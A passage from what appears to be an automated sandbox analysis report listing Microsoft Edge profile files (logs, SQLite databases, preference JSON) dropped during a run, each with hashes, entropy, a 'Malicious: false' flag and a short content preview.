Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ad6556bd-738c-47a5-8a22-5abc5be0cddf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b0d8c693-d709-4ec9-b8c3-91458e7bd6b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c650bf69-fb89-41fe-9bbf-2d8364aca84b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.25185112275114
Encrypted:	false
SSDEEP:	12:HBWv4YebvqBZFUt8Gu/+GMd5LYebvqBaJ:h04Yebvyg80LYebvL
MD5:	4257EC923273936FC8AC835085B68F30
SHA1:	BDEF78F6FFD51B90E1FC413837988DDB6FE805AD
SHA-256:	1D08D5C3FE483BBCD40A06F513968AFFBA65862BFD244ABFA5E3466B53504C17
SHA-512:	2E0D374C0CEB7BD0ADC3E21FF90BFF3ED53621E6F7A351D4188D9327C622CF42B765E165A614E33EB5042932A8902D98BC51125AF6F1838B8146D4CA8C4FF47A
Malicious:	false
Preview:	2024/12/28-23:45:46.318 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/28-23:45:46.319 1d14 Recovering log #3.2024/12/28-23:45:46.322 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.25185112275114
Encrypted:	false
SSDEEP:	12:HBWv4YebvqBZFUt8Gu/+GMd5LYebvqBaJ:h04Yebvyg80LYebvL
MD5:	4257EC923273936FC8AC835085B68F30
SHA1:	BDEF78F6FFD51B90E1FC413837988DDB6FE805AD
SHA-256:	1D08D5C3FE483BBCD40A06F513968AFFBA65862BFD244ABFA5E3466B53504C17
SHA-512:	2E0D374C0CEB7BD0ADC3E21FF90BFF3ED53621E6F7A351D4188D9327C622CF42B765E165A614E33EB5042932A8902D98BC51125AF6F1838B8146D4CA8C4FF47A
Malicious:	false
Preview:	2024/12/28-23:45:46.318 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/28-23:45:46.319 1d14 Recovering log #3.2024/12/28-23:45:46.322 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.2550723990405785
Encrypted:	false
SSDEEP:	6:HXeiCMM+q2P923oH+TcwtpIFUt8GXeiZmw+GXetMVkwO923oH+Tcwta/WLJ:HXeyM+v4YebmFUt8GXei/+GXetMV5LYM
MD5:	12FF33F18126573758BDE5D1A9CAA0A3
SHA1:	712AF7B1247D03B1850E93C3AFCEB4BC9AD41559
SHA-256:	5E4C8A93AB9E1A072F72CBC90AFA603FD2C012C7FA4AD93056F5F053B094FA4B
SHA-512:	748B5B3EC9353D9E830D9D23C9FB236F44A16820D470C0AA2298C8F419F79D5C86AE8630BEE34D202A0FEBE259FC768271DD6AA69809FACDFE1DD1DC7F54B99B
Malicious:	false
Preview:	2024/12/28-23:45:27.696 4fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/28-23:45:27.697 4fc Recovering log #3.2024/12/28-23:45:27.697 4fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.2550723990405785
Encrypted:	false
SSDEEP:	6:HXeiCMM+q2P923oH+TcwtpIFUt8GXeiZmw+GXetMVkwO923oH+Tcwta/WLJ:HXeyM+v4YebmFUt8GXei/+GXetMV5LYM
MD5:	12FF33F18126573758BDE5D1A9CAA0A3
SHA1:	712AF7B1247D03B1850E93C3AFCEB4BC9AD41559
SHA-256:	5E4C8A93AB9E1A072F72CBC90AFA603FD2C012C7FA4AD93056F5F053B094FA4B
SHA-512:	748B5B3EC9353D9E830D9D23C9FB236F44A16820D470C0AA2298C8F419F79D5C86AE8630BEE34D202A0FEBE259FC768271DD6AA69809FACDFE1DD1DC7F54B99B
Malicious:	false
Preview:	2024/12/28-23:45:27.696 4fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/28-23:45:27.697 4fc Recovering log #3.2024/12/28-23:45:27.697 4fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2655257569641658
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMdSAELyKOMq+8yC8F/YfU5m+OlTLVume:Bq+n0Jd9ELyKOMq+8y9/Owp
MD5:	BD91E368D69E8ACA6DB63938D7901D67
SHA1:	2745902B2ED0003527571BCF472B2B52FB9CFFAD
SHA-256:	1D1420FBF8405390C872AB042FA7B0F853A9DDFF786725A1B420C372F1E74A91
SHA-512:	335B5C740DD907FBEE11AF57A20EEFA284772B01DABF04CF72A63D34681EEA8CA7385426BB15A5DB89D3E1BD12F11241E56DDAA3CF395F042C1850794048D03E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4665825660004161
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0Vs:v7doKsKuKZKlZNmu46yjx0W
MD5:	5671669FA4EE84A6B7E7F0F022830EFE
SHA1:	F2C1E16C80B5605AFD6D6CDD7EC2140C736C159F
SHA-256:	E062651AA405EF278B6781DC9246AB4FDD631223A42A6CA8159CF2F2D1270433
SHA-512:	B76E8CB2AA94D01C628741E432A01B614C90F5349A6EC68B6AAA03813EFC2F5339FFD95C2B3C75C97327561381271D50942122739EFB6FD3D7FEE03DA28C8AA4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ace1cd88-a033-4f73-85f6-af7d1083758b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c363e348-4119-4d76-bea8-17767864d3c7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d554dd39-cb01-43a9-81a5-f4accd1b2eed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17822), with no line terminators
Category:	dropped
Size (bytes):	17824
Entropy (8bit):	5.486541284571784
Encrypted:	false
SSDEEP:	384:stCPGQSu4EDszqfhnfQwtjpsbGBQwn6WJlaTYp:s4OXuyqflQwwbGyQLaTYp
MD5:	8A87AA85FEA475DC4E5C1BB7012FDE09
SHA1:	B3A26ECF276A9EBA83EF42D4AF3DDCC0ABB33DEE
SHA-256:	637FA100B51E1C98A23A355E466EED3EF73DF6884323BC3770B26B3151385F70
SHA-512:	23BA242CAFE1053CAF03A8FBF58F369436C41EF52ED79839039743FE5BFBB5E7DCA167FD543F5994856657981E2D6D49DFD42071EAE9540AFFB94021338C4FB2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379921128230606","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f9137272-05d3-465c-aa54-5365725ab372.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56740685732104
Encrypted:	false
SSDEEP:	768:TGAWIaWP+YfIn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVJw4+DrwLupmtuC:TGAWIaWP+YfInu1jaQ/+4ftx
MD5:	E075840C738EFF8F17C6465E50833E30
SHA1:	55F90FA8AD389E7E92ABDE6738695932D1EAE5D9
SHA-256:	A74E1DF9BC7B4EBC03C67B2CB34617EE6B8FF5CC80E92F1BECF397FB453CF8F2
SHA-512:	73B025C5407DC1606F369002C2DAF1DE459E92175F42BBED88F22220B3C55B46824AAEDA7F98F766D8B10388A4280600AE127BDA7EE3F0ABF5FEDD41B0ED7EFB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379921127671009","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379921127671009","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10282362495574167
Encrypted:	false
SSDEEP:	12:+0v830vzBspEjVl/PnnnnnnnnnnnvoQ/Eou:+DiCoPnnnnnnnnnnnv1j
MD5:	B2AF9890898F5F5B9239EE6D6C4CFA84
SHA1:	13BD3C580AD13F55B2EED7CF440FA2A334885863
SHA-256:	CF79DD5E0977270159FF28CA870C9FDF448C7E3B010C4693F01FB38F0E862AFC
SHA-512:	5B4CD56C79D649CA7D1725FE37C509E80A9852BF1B665AA08B796A2353F9F910B031DE2949140336BC1C182E453FA9962C12B907622928C90D8A1260E2FAB66B
Malicious:	false
Preview:	..-.............M........p....w..4..}.....h.8...-.............M........p....w..4..}.....h.8.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8927314170355792
Encrypted:	false
SSDEEP:	384:G2OI+U6z9EnZOG2KOGWLO7hfOMBAO4dROMpJO+X317O7Jv8Hy0yOvyZyX1yyexy3:VZQkSXjj8m
MD5:	28A9D525F0F9B9528943BDBC6D6FF787
SHA1:	63A06827884ABC6B9ECBF7D3CE64DE5D883B7D3D
SHA-256:	F14E0D37DE5958D8E66C07D6661513CF91D20FFF8B902E7229C30D35F294DD26
SHA-512:	B0789D4D60DA8CD80D39F5DD505F6C143B35BCD02B7BD0C5F6FC81D3B387D4AB631199689AF676DD2DA31A39CBAE5BAABA9343E45BE259C0C0341158A63CBEE1
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.547247813285502
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuutllt5788:iDRlt
MD5:	6768028F07CC578ED4256D8B3875C55D
SHA1:	E18A405B271476E63D0DEA115200DFD03CF64BE5
SHA-256:	B74F3BB5C40C3BE0A4822A32E5F6631CEDA2F36672B538849878F38A0F0BF76F
SHA-512:	F85C1F0CF10FB1906852140045C0ADA87EDCDB29CC0252FA7E2DD3B07830CA1EF01189D8770474C5B44480B7E39B1BC99C99375F88EE168C1ED47CBF42E375E1
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............y.*/;...............#38_h.......6.Z..W.F......d.......d..........V.e................V.e...................50................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.197571097741047
Encrypted:	false
SSDEEP:	6:HXZulpM+q2P923oH+TcwtfrK+IFUt8GXZArqZmw+GXZAr1MVkwO923oH+TcwtfrF:HXIM+v4Yeb23FUt8GXarq/+GXar1MV5d
MD5:	52E73BD411B66D6706D57911E20D35D9
SHA1:	229DA791062B45B4A2B800D81B271FF37BBC84A4
SHA-256:	FE2E1EBA8DF2416865FF41CB76FC80C43CC233360DDCBDD438C9835A05B70572
SHA-512:	783BCEBCFE362499C399F8FA492FFD4236E153502FE682521E86B87B4E3DDFE3A41CAFA5A454F578A54DA3E7909491D250EED8A8014DBD75A6E6649E07D64A94
Malicious:	false
Preview:	2024/12/28-23:45:28.249 4fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/28-23:45:28.250 4fc Recovering log #3.2024/12/28-23:45:28.250 4fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.197571097741047
Encrypted:	false
SSDEEP:	6:HXZulpM+q2P923oH+TcwtfrK+IFUt8GXZArqZmw+GXZAr1MVkwO923oH+TcwtfrF:HXIM+v4Yeb23FUt8GXarq/+GXar1MV5d
MD5:	52E73BD411B66D6706D57911E20D35D9
SHA1:	229DA791062B45B4A2B800D81B271FF37BBC84A4
SHA-256:	FE2E1EBA8DF2416865FF41CB76FC80C43CC233360DDCBDD438C9835A05B70572
SHA-512:	783BCEBCFE362499C399F8FA492FFD4236E153502FE682521E86B87B4E3DDFE3A41CAFA5A454F578A54DA3E7909491D250EED8A8014DBD75A6E6649E07D64A94
Malicious:	false
Preview:	2024/12/28-23:45:28.249 4fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/28-23:45:28.250 4fc Recovering log #3.2024/12/28-23:45:28.250 4fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.201727352304174
Encrypted:	false
SSDEEP:	6:HXZ8MM+q2P923oH+TcwtfrzAdIFUt8GXZ8IZmw+GXZ8rMVkwO923oH+TcwtfrzId:HXeMM+v4Yeb9FUt8GXeI/+GXerMV5LY/
MD5:	EE685641CB29AD842D1AA7CAA51C18EE
SHA1:	FF59121707A9E0C934684A5CD7F061D64C7789F5
SHA-256:	00D8F4270B4C12BCA47FCED89D26BD1777605F8AC3AD8857FF4A01E0B490F0F3
SHA-512:	3D7EDED47E8E2D8F90EC40E19117A0BE8521C09E95D5B5F957B629B34CF8E89F23F289AEA33E566E4163BA771CC0760CB6AB710F8E62358185315F21CFD11F59
Malicious:	false
Preview:	2024/12/28-23:45:28.246 4fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/28-23:45:28.247 4fc Recovering log #3.2024/12/28-23:45:28.247 4fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.201727352304174
Encrypted:	false
SSDEEP:	6:HXZ8MM+q2P923oH+TcwtfrzAdIFUt8GXZ8IZmw+GXZ8rMVkwO923oH+TcwtfrzId:HXeMM+v4Yeb9FUt8GXeI/+GXerMV5LY/
MD5:	EE685641CB29AD842D1AA7CAA51C18EE
SHA1:	FF59121707A9E0C934684A5CD7F061D64C7789F5
